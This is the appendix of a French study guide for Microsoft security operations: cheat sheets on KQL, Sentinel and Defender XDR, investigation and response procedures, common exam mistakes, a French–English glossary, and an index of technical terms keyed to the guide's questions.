## Fiche 2 — Opérateurs et fonctions KQL essentiels

| Besoin | Opérateur / fonction | Exemple |
|---|---|---|
| Filtrer | `where`, `==`, `=~`, `!=`, `in`, `in~`, `has`, `has_any`, `contains`, `startswith`, `matches regex`, `between (a .. b)` | `where FileName in~ ("net.exe","whoami.exe")` |
| Fenêtre temporelle | `ago()`, `now()`, `datetime()`, `bin()`, `startofday()` | `where TimeGenerated > ago(1d)` |
| Colonnes | `project`, `project-away`, `project-rename`, `extend` | `extend Pays = tostring(LocationDetails.countryOrRegion)` |
| Agréger | `summarize` + `count()`, `dcount()`, `countif()`, `make_set()`, `make_list()`, `arg_max()`, `min()`, `max()`, `avg()`, `percentile()` | `summarize arg_max(TimeGenerated, *) by IncidentNumber` |
| Classer | `top N by`, `sort by` / `order by` (décroissant par défaut), `take` | `top 10 by Echecs` |
| Combiner | `join kind=inner/leftouter/leftanti/innerunique (défaut)`, `lookup`, `union withsource=` | `join kind=inner T on $left.A == $right.B` |

| Besoin | Opérateur / fonction | Exemple |
|---|---|---|
| Dynamique | `parse_json()`, `tostring()`, `mv-expand`, `bag_unpack`, `set_has_element()` | `mv-expand AlertId = AlertIds to typeof(string)` |
| Texte | `parse`, `extract()`, `split()`, `strcat()`, `tolower()`, `base64_decode_tostring()`, chaînes verbatim `@"..."` | `extract(@"from (\d+\.\d+\.\d+\.\d+)", 1, SyslogMessage)` |
| Variables | `let x = ...;`, `toscalar()`, `materialize()`, `datatable()`, `_GetWatchlist()` | `let fenetre = 1h;` |
| Séries | `make-series`, `series_decompose_anomalies()`, `prev()` (après `sort`) | `extend (A, S, B) = series_decompose_anomalies(Serie, 2.5)` |
| IP / géographie | `ipv4_is_private()`, `ipv4_is_in_range()`, `geo_info_from_ip_address()` | `where not(ipv4_is_private(DestinationIP))` |
| Visualiser | `render timechart`, `render barchart` | `summarize count() by bin(TimeGenerated, 1h) \| render timechart` |

**Performance :** filtre temporel en premier ; `has` plutôt que `contains` ; filtrer et projeter avant les jointures ; petite table à gauche ; éviter `search *` ; préciser `kind` dans les jointures ; nommer les agrégats.

## Fiche 3 — Microsoft Sentinel en un coup d'œil

| Domaine | Points essentiels |
|---|---|
| Plateforme | SIEM + SOAR sur un espace Log Analytics (une instance par espace). Transition vers le portail Defender : plus de prise en charge dans le portail Azure après le **31 mars 2027**. Espace principal + secondaires dans le portail Defender. |
| Rôles | Reader / Responder (incidents) / Contributor (ressources, solutions) / Playbook Operator (exécuter) / Automation Contributor (compte de service Sentinel) ; Logic App Contributor pour éditer les playbooks ; RBAC Azure pour le SIEM, RBAC Entra pour le data lake ; RBAC au niveau table et de contexte de ressource. |
| Ingestion | AMA + DCR (XPath, transformations), Windows Security Events via AMA (SecurityEvent), Windows Forwarded Events (WEF → WindowsEvent), Syslog/CEF via AMA (redirecteur Linux), journaux Azure par paramètres de diagnostic + Azure Policy, TI (TAXII, API d'upload, MDTI), Logs Ingestion API (tables _CL), connecteur Defender XDR. |
| Données | Niveau Analytics (détection, 90 jours inclus) ; data lake (jusqu'à 12 ans, KQL, jobs KQL, notebooks) ; tables XDR 30 jours par défaut, rétention extensible ; jobs de recherche (_SRCH), restauration (_RST), règles de synthèse (20 min–24 h). |
| Détection | Planifiées (5 min–14 j, lookback ≤ 14 j, 150 alertes max par exécution), NRT (chaque minute, nombre limité), Fusion (ML multi-étapes, activé par défaut), Microsoft Threat Intelligence Analytics, anomalies (Flighting/Production), mappage d'entités (10 max), détails personnalisés, remplacement des détails d'alerte, regroupement d'alertes (≤ 7 jours, 150 alertes/incident), suppression (≤ 24 h), « AUTO DISABLED ». |
| Automatisation | Règles d'automatisation (incident créé/mis à jour, alerte créée ; ordre ; expiration ; tâches) ; playbooks Logic Apps (déclencheurs incident, alerte, entité ; identité managée). |

| Domaine | Points essentiels |
|---|---|
| Chasse | Requêtes de chasse, signets, Hunts, notebooks (MSTICPy, data lake), serveur MCP, graphe Sentinel, UEBA (BehaviorAnalytics, IdentityInfo), watchlists, ASIM (`_Im_*`). |
| Pilotage | Classeurs (paramètres), page MITRE ATT&CK, optimisations SOC, SentinelHealth/SentinelAudit, Repositories (CI/CD), hub de contenu. |

## Fiche 4 — Capacités de Microsoft Defender XDR

| Produit | Capacités clés pour le SOC |
|---|---|
| Portail Defender | Incidents corrélés multi-produits, alertes, analyse des menaces, chasse avancée (30 j), détections personnalisées (Continuous/NRT, 1 h, 3 h, 12 h, 24 h, Custom pour Sentinel), Centre de notifications, gestion des cas, Copilot, RBAC unifié, notifications (incidents, alertes, actions de réponse, analyse des menaces), ajustement des alertes. |
| Defender for Endpoint | EDR, ASR (Audit → Bloquer/Avertir), protection réseau, contrôle des dossiers, anti-falsification, mode bloc EDR, indicateurs (fichiers : AV actif ; IP/URL : protection réseau + « Custom network indicators »), groupes d'appareils (rang), niveaux d'automatisation (Full recommandé), Live Response (basique/avancé), isolation (complète/sélective), restriction d'exécution, package d'investigation, contenir appareil/utilisateur, découverte des appareils, collecte personnalisée. |
| AIR / interruption d'attaque | Enquêtes automatiques avec verdicts et remédiations (actions en attente : 7 jours) ; interruption automatique (contenir appareils, désactiver/contenir utilisateurs) pour rançongiciels, BEC, AiTM ; exclusions possibles. |
| Defender for Office 365 | P1 : Safe Attachments, Safe Links, anti-hameçonnage avancé, détections en temps réel ; P2 : Threat Explorer, AIR, campagnes, simulation d'attaques ; ZAP, soumissions, liste d'autorisation/blocage, stratégies prédéfinies. |
| Defender for Identity | Capteurs sur DC, AD FS, AD CS, Entra Connect (v3 via MDE) ; détections (reconnaissance SAMR/LDAP, Kerberoasting, DCSync, pass-the-hash/ticket, Golden Ticket, force brute) ; honeytokens ; actions (désactiver, réinitialiser) via compte d'action. |
| Defender for Cloud Apps | Cloud Discovery (MDE, collecteur), applications non approuvées bloquées via MDE, connecteurs API, contrôle de session (accès conditionnel), anomalies (voyage impossible, téléchargement massif, IP anonyme), stratégies de fichiers, gouvernance des applications OAuth, « confirmer l'utilisateur compromis ». |
| Entra ID Protection | Risque utilisateur (identifiants divulgués…) vs risque de connexion (IP anonyme, propriétés inhabituelles, voyage atypique…) ; stratégies d'accès conditionnel basées sur le risque ; confirmer/ignorer le risque. |
| Purview | Audit (Standard 180 jours, Premium 1 an+), MailItemsAccessed, eDiscovery (conservation, recherche, purge), alertes DLP et Insider Risk dans Defender XDR. |

## Fiche 5 — Étapes d'investigation d'un incident

1. **Triage** : lire l'incident (histoire de l'attaque, alertes, ressources), qualifier (vrai/faux positif), évaluer gravité et urgence, assigner.
2. **Délimiter** : entités impliquées (comptes, appareils, boîtes, applications, IP), fenêtre temporelle, patient zéro.
3. **Collecter** : chronologie des appareils, arborescence de processus, chasse avancée sur les IOC, journaux d'identité et d'audit, package d'investigation, preuves volatiles d'abord.
4. **Analyser** : reconstruire la chaîne ATT&CK (accès initial → exécution → persistance → élévation → accès aux identifiants → découverte → mouvement latéral → collecte → exfiltration/impact), mesurer l'impact sur les données.
5. **Pivoter** : rechercher chaque nouvel indicateur dans tout le parc (hachages, IP, domaines, comptes, techniques).
6. **Documenter** : chronologie, décisions, preuves (chaîne de custode), conclusions, classification.

## Fiche 6 — Procédures de réponse

| Situation | Confinement | Éradication / restauration |
|---|---|---|
| Poste compromis | Isoler (MDE), restreindre l'exécution, contenir les appareils non gérés | Supprimer persistances, réimager si accès privilégié prolongé, libérer après vérification |
| Compte cloud compromis | Désactiver/réinitialiser, révoquer les sessions, marquer compromis | Supprimer règles de boîte, méthodes MFA, consentements, appareils ajoutés ; stratégies de risque, MFA résistante |
| Compte AD / hybride | Désactiver dans AD (source) et cloud, contenir l'utilisateur | Réinitialiser les comptes exposés ; krbtgt deux fois si DCSync/Golden Ticket |
| Hameçonnage | Purger les messages (Explorer / Take action / eDiscovery), bloquer expéditeur/URL | Traiter les cliqueurs, soumettre à Microsoft, durcir (ASR, Safe Links/Attachments) |
| Rançongiciel | Isoler, désactiver les comptes de déploiement, neutraliser GPO/tâches, protéger les sauvegardes | Restaurer depuis des sauvegardes vérifiées antérieures à l'intrusion, surveillance renforcée |
| Application OAuth malveillante | Désactiver le principal de service, révoquer les octrois | Restreindre le consentement, flux d'approbation administrateur |
| Ressource cloud | NSG/JIT, révoquer clés et SAS, retirer les rôles | Faire tourner les secrets, Azure Policy, moindre privilège, identités managées |

## Fiche 7 — Différences entre produits Microsoft Security

| Produit | Nature | Ne pas confondre avec |
|---|---|---|
| Microsoft Sentinel | SIEM + SOAR (journaux de toutes sources, règles, automatisation, chasse) | Defender XDR (détection native sur les charges Microsoft) |
| Microsoft Defender XDR | XDR : corrélation et réponse sur terminaux, identités, messagerie, SaaS | Defender for Cloud (ressources cloud) |
| Microsoft Defender for Cloud | CNAPP : CSPM + protection des charges cloud (Azure, AWS, GCP, local via Arc) | Defender for Cloud Apps (CASB pour applications SaaS) |
| Microsoft Defender for Cloud Apps | CASB : Shadow IT, applications SaaS, sessions, OAuth | Defender for Cloud |
| Microsoft Entra ID / ID Protection | Identité, accès conditionnel, risques d'identité | Defender for Identity (Active Directory local) |
| Microsoft Defender for Identity | Détection des attaques sur AD local via capteurs | Entra ID Protection (identités cloud) |

| Produit | Nature | Ne pas confondre avec |
|---|---|---|
| Microsoft Purview | Conformité et protection des données (audit, eDiscovery, DLP, risques internes) | Defender for Office 365 (menaces de messagerie) |
| Secure Score Microsoft vs Secure Score Defender for Cloud | Posture Microsoft 365/XDR vs posture des ressources cloud | — |

## Fiche 8 — Erreurs courantes des candidats

- Comparer `ResultType` de SigninLogs à un entier : c'est une **chaîne** (« 0 »).
- Utiliser `Timestamp` dans Sentinel/Log Analytics (ou `TimeGenerated` en pensant à la chasse avancée native) sans vérifier l'environnement.
- Oublier que `join` sans `kind` est **innerunique** ; que les clés de jointure sont sensibles à la casse.
- Grouper par une colonne **dynamique** sans `tostring()`.
- Confondre **règle d'automatisation** (Sentinel, incidents) et **playbook** (Logic App), ou **Playbook Operator** et **Automation Contributor**.
- Penser qu'une règle NRT accepte une fenêtre de recherche paramétrable, ou qu'une règle planifiée peut remonter au-delà de 14 jours.
- Croire que filtrer dans une requête réduit le coût d'ingestion (il faut une DCR / transformation).
- Confondre **suppression** d'une règle (pause après alerte) et **regroupement** d'alertes en incidents.
- Oublier la **révocation des sessions** après une réinitialisation de mot de passe ; oublier les consentements OAuth.
- Éteindre un poste compromis au lieu de l'**isoler** ; restaurer avant d'avoir éradiqué.
- Confondre **Defender for Cloud** et **Defender for Cloud Apps**, **Entra ID Protection** et **Defender for Identity**.
- Penser que le mode **Audit** des règles ASR protège.
- Croire que la chasse avancée conserve plus de **30 jours** de données XDR par défaut.

## Fiche 9 — Bonnes pratiques d'investigation SOC

- Commencer par la **portée** (qui, quoi, depuis quand) avant les actions destructrices ; préserver les preuves.
- Penser **entités** : un IOC trouvé = un pivot sur tout le parc et toutes les sources.
- Privilégier les **identifiants stables** (DeviceId, AccountObjectId, SID, NetworkMessageId) aux noms.
- Normaliser la casse et les types avant les jointures ; documenter les hypothèses de schéma.
- Distinguer **faux positif** et **vrai positif bénin** ; corriger les règles à la source (watchlists, exclusions ciblées).
- Automatiser ce qui est fiable et répétitif ; réserver les actions automatiques destructrices aux détections à très haute confiance.
- Appliquer le **moindre privilège** à l'équipe SOC elle-même (rôles Sentinel, URBAC, PIM).
- Communiquer hors bande lorsqu'une compromission de l'identité ou de la messagerie est possible.
- Clore avec une **classification**, une documentation complète et des actions d'amélioration.

## Fiche 10 — Points à réviser en priorité

1. Rôles Sentinel, autorisations des playbooks, RBAC unifié Defender.
2. Connecteurs : AMA/DCR, Windows Security Events, WEF, Syslog/CEF, diagnostic + Azure Policy, TI, Logs Ingestion API.
3. Niveaux de données et rétention : Analytics, data lake, XDR ; jobs KQL, règles de synthèse, jobs de recherche.
4. Règles d'analyse : planifiées vs NRT, paramètres (lookback, regroupement, suppression, entités), délai d'ingestion, anomalies, Fusion, TI, MITRE.
5. Règles d'automatisation et playbooks (déclencheurs, ordre, expiration, identité managée).
6. MDE : fonctionnalités avancées, ASR, groupes d'appareils, niveaux d'automatisation, indicateurs, actions de réponse, Live Response, collecte personnalisée, détections personnalisées (colonnes requises).
7. MDO, MDI, MDCA, Entra ID Protection, Purview : principales alertes et actions de remédiation.

8. Interruption automatique d'attaque : prérequis, comportement, exclusions.
9. KQL : `where`, `summarize`, `join` (saveurs), `mv-expand`, `arg_max`, `make_set`, `parse`/`extract`, types dynamiques, `bin`, `let`.
10. Defender for Cloud : plans, recommandations vs alertes, JIT, intégration XDR et Sentinel.

# Glossaire français – anglais

| Terme français | Terme anglais (Microsoft) | Définition courte |
|---|---|---|
| Accès conditionnel | Conditional Access | Moteur de stratégies Entra ID qui autorise, bloque ou exige des contrôles selon le contexte. |
| Accès juste-à-temps | Just-in-time (JIT) VM access | Ouverture temporaire et contrôlée des ports de gestion des VM. |
| Ajustement des alertes | Alert tuning | Règles masquant ou résolvant automatiquement des alertes correspondant à des conditions. |
| Analyse approfondie | Deep analysis | Exécution d'un fichier en bac à sable cloud avec rapport comportemental. |
| Analyse des menaces | Threat analytics | Rapports d'analystes Microsoft enrichis de l'exposition du locataire. |
| Analyse du comportement des utilisateurs et des entités | User and Entity Behavior Analytics (UEBA) | Profilage comportemental et calcul de priorités d'investigation dans Sentinel. |
| Arborescence de processus | Process tree | Représentation parent/enfant des processus d'une alerte. |
| Authentification héritée | Legacy authentication | Protocoles (IMAP, POP, SMTP AUTH…) ne prenant pas en charge la MFA moderne. |
| Balisage (C2) | Beaconing | Communications périodiques d'un implant vers son serveur de commande. |
| Bac à sable | Sandbox | Environnement isolé d'exécution pour l'analyse. |
| Centre de notifications | Action center | Suivi des actions de réponse en attente et de l'historique dans Defender XDR. |
| Chaîne de custode | Chain of custody | Traçabilité de la collecte et de la conservation des preuves. |
| Chasse avancée | Advanced hunting | Interrogation KQL des données brutes Defender XDR (et Sentinel). |
| Chemin d'attaque | Attack path | Combinaison de faiblesses exploitables menant à une ressource critique. |
| Chemin de mouvement latéral | Lateral movement path (LMP) | Chemin potentiel vers un compte sensible via des sessions et droits locaux. |
| Classeur | Workbook | Tableau de bord interactif fondé sur des requêtes KQL. |
| Collecte de données personnalisée | Custom data collection | Règles MDE de télémétrie supplémentaire ciblée envoyée vers Sentinel. |
| Compte d'accès d'urgence | Emergency access (break-glass) account | Compte de secours exclu de l'accès conditionnel et surveillé. |
| Confinement | Containment | Mesures limitant la progression d'un incident. |
| Connecteur de données | Data connector | Mécanisme d'ingestion d'une source dans Sentinel. |

| Terme français | Terme anglais (Microsoft) | Définition courte |
|---|---|---|
| Consentement illicite | Illicit consent grant | Obtention frauduleuse d'autorisations OAuth par une application malveillante. |
| Contenir l'appareil / l'utilisateur | Contain device / Contain user | Blocage des communications avec un appareil ou de l'usage d'un compte depuis les appareils gérés. |
| Corrélation | Correlation | Regroupement d'alertes liées en incidents. |
| Couverture | Coverage | Proportion de techniques ATT&CK couvertes par les détections. |
| Délai d'ingestion | Ingestion delay | Écart entre l'horodatage d'un événement et son arrivée dans l'espace. |
| Détection personnalisée | Custom detection rule | Règle Defender XDR fondée sur une requête de chasse avancée. |
| Éradication | Eradication | Suppression de la présence de l'attaquant (persistances, identifiants). |
| Espace de travail | Workspace (Log Analytics) | Conteneur des journaux sur lequel Sentinel est activé. |
| Explorateur de menaces | Threat Explorer | Outil d'investigation et de remédiation des e-mails (MDO P2). |
| Exfiltration | Exfiltration | Sortie non autorisée de données. |
| Faux positif | False positive | Détection erronée. |
| Vrai positif bénin | Benign positive / Informational, expected activity | Activité réellement détectée mais légitime. |
| Fenêtre de recherche | Lookback / Query period | Période de données évaluée par une règle planifiée. |
| Gestion des cas | Case management | Suivi des incidents et travaux SecOps sous forme de cas dans le portail Defender. |
| Graphe de chasse | Hunting graph | Visualisation interactive des relations entre entités en chasse avancée. |
| Groupe d'appareils | Device group | Regroupement MDE portant automatisation, accès et ciblage. |
| Hameçonnage | Phishing | Tentative de tromper un utilisateur pour obtenir des informations ou un accès. |
| Indicateur de compromission | Indicator of compromise (IOC) | Artefact observable associé à une activité malveillante. |
| Indicateur (MDE) | Indicator | Règle d'autorisation, d'audit, d'avertissement ou de blocage (fichier, IP, URL, certificat). |
| Interruption automatique d'attaque | Automatic attack disruption | Confinement automatique d'actifs compromis par Defender XDR. |
| Investigation et réponse automatisées | Automated investigation and response (AIR) | Enquêtes automatiques avec verdicts et remédiations. |
| Isolation | Device isolation | Coupure réseau d'un appareil sauf vers le service MDE. |
| Journal d'audit | Audit log | Enregistrement des activités (Purview Audit, AuditLogs Entra). |
| Lac de données | Data lake (Microsoft Sentinel data lake) | Niveau de stockage long terme à faible coût, interrogeable en KQL. |

| Terme français | Terme anglais (Microsoft) | Définition courte |
|---|---|---|
| Liste de surveillance | Watchlist | Table de référence importée dans Sentinel (`_GetWatchlist`). |
| Mappage d'entités | Entity mapping | Association de colonnes de résultats à des entités (Account, Host, IP…). |
| Mouvement latéral | Lateral movement | Progression d'un attaquant d'un système à un autre. |
| Niveau d'automatisation | Automation level | Degré d'autonomie des remédiations AIR dans MDE. |
| Optimisation SOC | SOC optimization | Recommandations Sentinel sur la valeur des données et la couverture. |
| Package d'investigation | Investigation package | Archive d'artefacts forensiques collectée par MDE. |
| Persistance | Persistence | Mécanisme permettant à l'attaquant de conserver son accès. |
| Playbook | Playbook | Workflow Logic Apps d'automatisation de la réponse. |
| Préversion | Preview | Fonctionnalité non encore en disponibilité générale. |
| Protection contre les falsifications | Tamper protection | Empêche la modification des paramètres de sécurité de Defender. |
| Protection réseau | Network protection | Blocage des connexions vers des destinations malveillantes ou bloquées. |
| Pulvérisation de mots de passe | Password spraying | Test de quelques mots de passe courants sur de nombreux comptes. |
| Purge automatique zero-hour | Zero-hour auto purge (ZAP) | Retrait automatique d'e-mails après remise. |
| Rançongiciel | Ransomware | Logiciel chiffrant les données pour extorquer une rançon. |
| Réduction de la surface d'attaque | Attack surface reduction (ASR) | Règles bloquant des comportements à risque sur les terminaux. |
| Règle d'analyse | Analytics rule | Règle de détection Sentinel (planifiée, NRT, Fusion…). |
| Règle d'automatisation | Automation rule | Automatisation Sentinel déclenchée par incidents/alertes. |
| Règle de collecte de données | Data collection rule (DCR) | Définition de ce que l'agent Azure Monitor collecte et transforme. |
| Règle de synthèse | Summary rule | Agrégation planifiée vers une table Analytics. |
| Regroupement d'alertes | Alert grouping | Rattachement d'alertes à un même incident. |
| Réponse dynamique | Live Response | Shell distant d'investigation et de remédiation MDE. |
| Restauration | Recovery | Retour à un fonctionnement normal après éradication. |
| Restreindre l'exécution d'applications | Restrict app execution | N'autoriser que les binaires signés Microsoft sur un appareil. |
| Risque de connexion / risque utilisateur | Sign-in risk / User risk | Probabilité qu'une authentification / une identité soit compromise. |
| Score de sécurité | Secure Score | Mesure de la posture de sécurité. |

| Terme français | Terme anglais (Microsoft) | Définition courte |
|---|---|---|
| Signet | Bookmark | Résultat de chasse conservé et annoté. |
| Soumission | Submission | Envoi d'un élément à Microsoft pour réanalyse. |
| Suppression (règle) | Suppression | Pause d'une règle planifiée après une alerte ; ou règle ignorant des alertes (Defender for Cloud). |
| Table personnalisée | Custom table (_CL) | Table définie par l'utilisateur dans Log Analytics. |
| Tâche d'incident | Incident task | Élément de liste de contrôle ajouté à un incident. |
| Tactique / technique | Tactic / Technique (MITRE ATT&CK) | Objectif de l'attaquant / moyen de l'atteindre. |
| Transformation à l'ingestion | Ingestion-time transformation | Requête KQL appliquée aux données avant stockage (DCR). |
| Triage | Triage | Qualification et priorisation initiales d'une alerte. |
| Usurpation | Spoofing / Impersonation | Falsification d'expéditeur / imitation d'une personne ou d'un domaine. |
| Vol de jeton | Token theft / replay | Réutilisation d'un jeton ou cookie de session dérobé. |

# Index des notions techniques

Les numéros renvoient aux questions du guide où la notion apparaît (énoncé, propositions ou explications).


**AADNonInteractiveUserSignInLogs** : 161, 192, 226, 236, 271, 292, 418, 440
**AADServicePrincipalSignInLogs** : 161, 272, 326, 383, 389, 442
**AADUserRiskEvents** : 157, 254, 303
**accès conditionnel** : 1, 147, 149, 151, 158, 162, 163, 165, 166, 236, 250, 284, 294, 299, 302, 340, 406, 419, 421
**AiTM** : 60, 163, 271, 292, 293, 403, 406
**AlertEvidence** : 243, 247
**AlertInfo** : 243, 247
**AMA** : 16, 17, 18, 19, 20, 21, 69, 217, 231, 268, 355, 396
**AMSI** : 317, 400, 409
**analyse des menaces** : 64, 77, 78, 83, 134, 348
**arg_max** : 7, 174, 183, 184, 187, 207, 210, 213, 240, 241, 242, 250, 285, 381, 426
**ASIM** : 23, 71, 211, 266
**ASR** : 89, 90, 95, 97, 100, 115, 127, 130, 134, 148, 153, 154, 158, 169, 221, 224, 265, 284, 302, 305, 314, 318, 319, 324, 326 … (+6)
**attack disruption** : 60, 82, 117, 118, 402, 412
**AuditLogs** : 152, 160, 164, 165, 227, 236, 245, 272, 296, 304, 326, 337, 385, 389, 405, 418, 442, 443
**AzureActivity** : 21, 131, 161, 173, 227, 234, 248, 304, 337, 357, 366, 381, 383, 384, 385, 386, 387, 388, 389, 397, 398, 400, 443, 448
**base64_decode_tostring** : 194, 409
**BEC** : 254, 267, 293
**BehaviorAnalytics** : 65, 66, 246
**bin** : 20, 142, 156, 160, 177, 205, 212, 215, 217, 231, 232, 234, 257, 262, 263, 264, 321, 433
**bookmarks** : 63
**CEF** : 13, 19, 20, 45, 230
**chasse avancée** : 1, 3, 24, 27, 28, 70, 75, 83, 84, 85, 90, 106, 107, 110, 111, 113, 120, 122, 123, 133, 137, 142, 145, 155, 156 … (+20)
**chemin d'attaque** : 362
**classeur** : 32, 55, 57, 59, 61, 62, 166, 285
**CloudAppEvents** : 24, 84, 131, 152, 155, 156, 173, 261, 283, 316, 345, 404, 433
**collecte de données personnalisée** : 96
**CommonSecurityLog** : 2, 19, 20, 34, 37, 45, 72, 190, 209, 211, 216, 230, 249, 311
**countif** : 179, 215, 274, 426
**Credential Guard** : 224, 320, 342
**data lake** : 2, 3, 14, 25, 26, 27, 28, 30, 37, 61, 68, 70, 216, 438
**datatable** : 182, 229, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276
**dcount** : 49, 71, 113, 137, 139, 142, 170, 185, 193, 197, 205, 214, 217, 225, 226, 230, 232, 243, 257, 260, 262, 264, 266, 271, 276 … (+4)
**DCR** : 16, 17, 19, 20, 23, 33, 34, 231, 317
**DCSync** : 138, 144, 269, 279, 337, 342, 346, 413, 416
**Defender CSPM** : 353, 360, 361, 362, 363, 365, 370, 398, 430, 446
**Defender for Cloud Apps** : 88, 131, 147, 148, 149, 150, 151, 152, 153, 154, 155, 164, 232, 296, 316, 405, 421, 436
**Defender for Identity** : 65, 77, 105, 112, 117, 121, 136, 140, 141, 143, 145, 146, 253, 269, 305, 310, 338, 395, 416
**Defender for Office 365** : 77, 115, 122, 130, 134, 135, 148, 169, 294, 395
**Defender for Servers** : 352, 355, 356, 357, 358, 363, 369, 390, 391, 392, 397, 400
**Defender for Storage** : 234, 355, 364, 366, 368, 382, 391, 397, 445
**DeviceEvents** : 89, 94, 97, 148, 174, 222, 224, 233, 266, 312, 314, 317, 318, 346, 400
**DeviceFileEvents** : 88, 111, 129, 156, 219, 220, 221, 223, 228, 232, 238, 263, 276, 311, 315, 317, 323, 325, 348, 407, 410
**DeviceInfo** : 183, 243, 247, 410, 413
**DeviceLogonEvents** : 111, 112, 181, 213, 221, 224, 231, 233, 239, 244, 262, 315, 319, 321, 348, 376, 428, 429, 433
**DeviceNetworkEvents** : 27, 28, 111, 125, 170, 183, 191, 214, 216, 219, 220, 224, 229, 233, 238, 239, 244, 249, 311, 312, 315, 317, 323, 325, 369 … (+3)
**DeviceProcessEvents** : 24, 27, 110, 111, 112, 113, 129, 142, 165, 174, 175, 178, 180, 194, 198, 201, 205, 208, 219, 220, 221, 222, 223, 224, 229 … (+22)
**DeviceRegistryEvents** : 145, 222, 223, 322
**DeviceTvmSoftwareVulnerabilities** : 247
**détection personnalisée** : 27, 64, 85, 96, 102, 174, 175, 221, 406, 408, 411, 450
**eDiscovery** : 167, 169, 293, 329, 432, 435
**EmailAttachmentInfo** : 126, 129, 156, 228, 238, 317, 321, 407
**EmailEvents** : 24, 27, 125, 129, 133, 145, 228, 229, 237, 238, 256, 290, 291, 295, 315, 321, 407, 410, 413, 433
**EmailPostDeliveryEvents** : 124, 129, 256
**EmailUrlInfo** : 125, 129, 228, 237, 294, 442
**Entra ID Protection** : 24, 135, 143, 151, 154, 157, 162, 243, 254, 259, 271, 292, 303, 305, 337, 339, 389, 390, 402, 406, 417, 421
**extend** : 34, 37, 67, 145, 164, 165, 178, 189, 190, 191, 194, 195, 196, 197, 198, 200, 203, 211, 213, 214, 230, 242, 245, 246, 250 … (+20)
**extract** : 188, 194, 231, 409
**faux positif** : 79, 80, 128, 150, 162, 278, 286, 287, 333, 334, 417, 419, 421, 431
**FileProfile** : 111, 113, 198
**Fusion** : 1, 4, 35, 44, 45, 46, 65, 71, 81, 347, 420
**gestion des cas** : 3, 15, 55, 76, 282, 288
**_GetWatchlist** : 67, 251, 423
**Golden Ticket** : 144, 416
**groupe d'appareils** : 77, 78, 92, 98, 120
**hameçonnage** : 55, 80, 86, 116, 123, 124, 125, 127, 128, 131, 133, 134, 135, 160, 163, 237, 250, 256, 290, 292, 293, 294, 295, 296, 348 … (+3)
**has_any** : 131, 180, 194, 219, 220, 221, 223, 229, 265, 267, 272, 311, 423
**Heartbeat** : 33, 45, 161, 165, 170, 207, 230, 235, 252, 311, 316, 361, 384, 388, 404, 434, 442, 445, 448
**IdentityDirectoryEvents** : 145, 269
**IdentityInfo** : 65, 66, 156, 213, 242, 250, 275, 283, 429
**IdentityLogonEvents** : 24, 27, 112, 142, 146, 174, 253, 262, 407

**IdentityQueryEvents** : 112, 137, 142, 253, 434
**ingestion_time** : 37, 441
**isolation** : 77, 78, 85, 87, 102, 104, 114, 149, 297, 327, 329, 340, 376, 392, 395, 408, 411, 414, 450
**JIT** : 313, 357, 376, 379, 393
**job de recherche** : 28, 29, 30, 216
**jobs KQL** : 14, 25, 26, 28, 30, 438
**join** : 67, 129, 182, 183, 195, 200, 213, 218, 225, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252 … (+11)
**Kerberoasting** : 139, 264, 275, 344
**let** : 37, 67, 129, 182, 186, 196, 199, 218, 225, 229, 238, 240, 242, 244, 245, 246, 248, 249, 250, 251, 252, 254, 255, 257, 258 … (+20)
**Live Response** : 85, 93, 101, 102, 103, 108, 109, 119, 297, 298, 318, 330, 392
**Logic App** : 9, 10, 11, 54, 57, 375, 378, 447, 451
**lookup** : 6, 200, 242, 251, 423
**LSASS** : 89, 224, 306, 320, 337, 342, 350, 429
**MailItemsAccessed** : 156, 168, 283, 293, 404, 440
**make-series** : 190, 273
**make_set** : 160, 185, 187, 193, 205, 215, 225, 234, 243, 247, 250, 253, 262, 264, 268, 271, 276, 388, 410, 429, 433
**MCP** : 68, 69
**MicrosoftGraphActivityLogs** : 152, 164, 170, 272, 283, 296, 326, 405
**MITRE** : 47, 63, 73, 82, 106, 131, 194, 341, 343, 347, 375
**mouvement latéral** : 105, 136, 137, 140, 262, 306, 319, 325, 343, 347, 351, 366, 430, 431
**mv-expand** : 113, 185, 187, 190, 210, 241, 246, 273, 426
**NetworkMessageId** : 85, 123, 125, 129, 228, 237, 238, 256, 290, 407
**niveau d'automatisation** : 27, 87, 91, 92, 96, 115, 116, 120, 146
**NRT** : 1, 22, 25, 28, 30, 35, 37, 45, 47, 48, 57, 59, 68, 70, 175, 236, 288, 420, 441
**OfficeActivity** : 12, 131, 132, 164, 173, 232, 254, 261, 267, 345, 404
**optimisations SOC** : 32, 64, 347, 422
**package d'investigation** : 78, 85, 102, 103, 105, 109, 114, 297, 298, 330, 332, 392, 408
**parse** : 188, 231
**PIM** : 304, 336, 444
**playbook** : 8, 9, 10, 11, 19, 50, 51, 52, 53, 54, 55, 56, 57, 59, 60, 302, 447, 448, 451
**PowerShell** : 16, 79, 89, 109, 167, 180, 194, 219, 220, 222, 260, 278, 317, 318, 345, 347, 366, 400, 408, 411, 422, 425, 439
**prev** : 191, 258, 259
**project** : 35, 66, 67, 113, 125, 129, 131, 145, 164, 165, 173, 178, 183, 187, 188, 191, 194, 196, 198, 200, 201, 207, 210, 213, 218 … (+49)
**PsExec** : 233, 262, 276, 287, 307, 319, 412, 450
**pulvérisation** : 142, 157, 217, 226, 257, 293, 299, 302, 344
**Purview** : 14, 32, 78, 135, 153, 167, 169, 171, 172, 243, 283, 293, 316, 321, 329, 395, 404, 432, 436
**rançongiciel** : 44, 60, 83, 154, 221, 232, 263, 306, 307, 308, 309, 310, 311, 313, 314, 349, 351, 412, 415
**regroupement d'alertes** : 4, 41, 42, 49, 399, 425
**règle d'automatisation** : 4, 6, 11, 12, 13, 40, 41, 50, 51, 53, 55, 57, 58, 59, 62, 118, 140, 158, 424, 447, 449
**règles de synthèse** : 28, 29
**Security Copilot** : 69, 86, 127
**SecurityAlert** : 66, 187, 200, 210, 241, 246, 285, 379, 381, 422, 426, 437
**SecurityEvent** : 2, 12, 16, 17, 18, 23, 30, 33, 35, 67, 72, 112, 131, 139, 145, 160, 173, 177, 179, 186, 189, 196, 199, 202, 204 … (+17)
**SecurityIncident** : 7, 55, 58, 59, 72, 184, 187, 210, 241, 284, 285, 422, 426, 447, 448
**SentinelHealth** : 43, 72, 252, 426, 447, 448, 449, 451
**SigninLogs** : 2, 6, 12, 25, 66, 71, 72, 125, 131, 142, 157, 160, 161, 164, 166, 173, 176, 185, 192, 193, 195, 197, 200, 203, 212 … (+27)
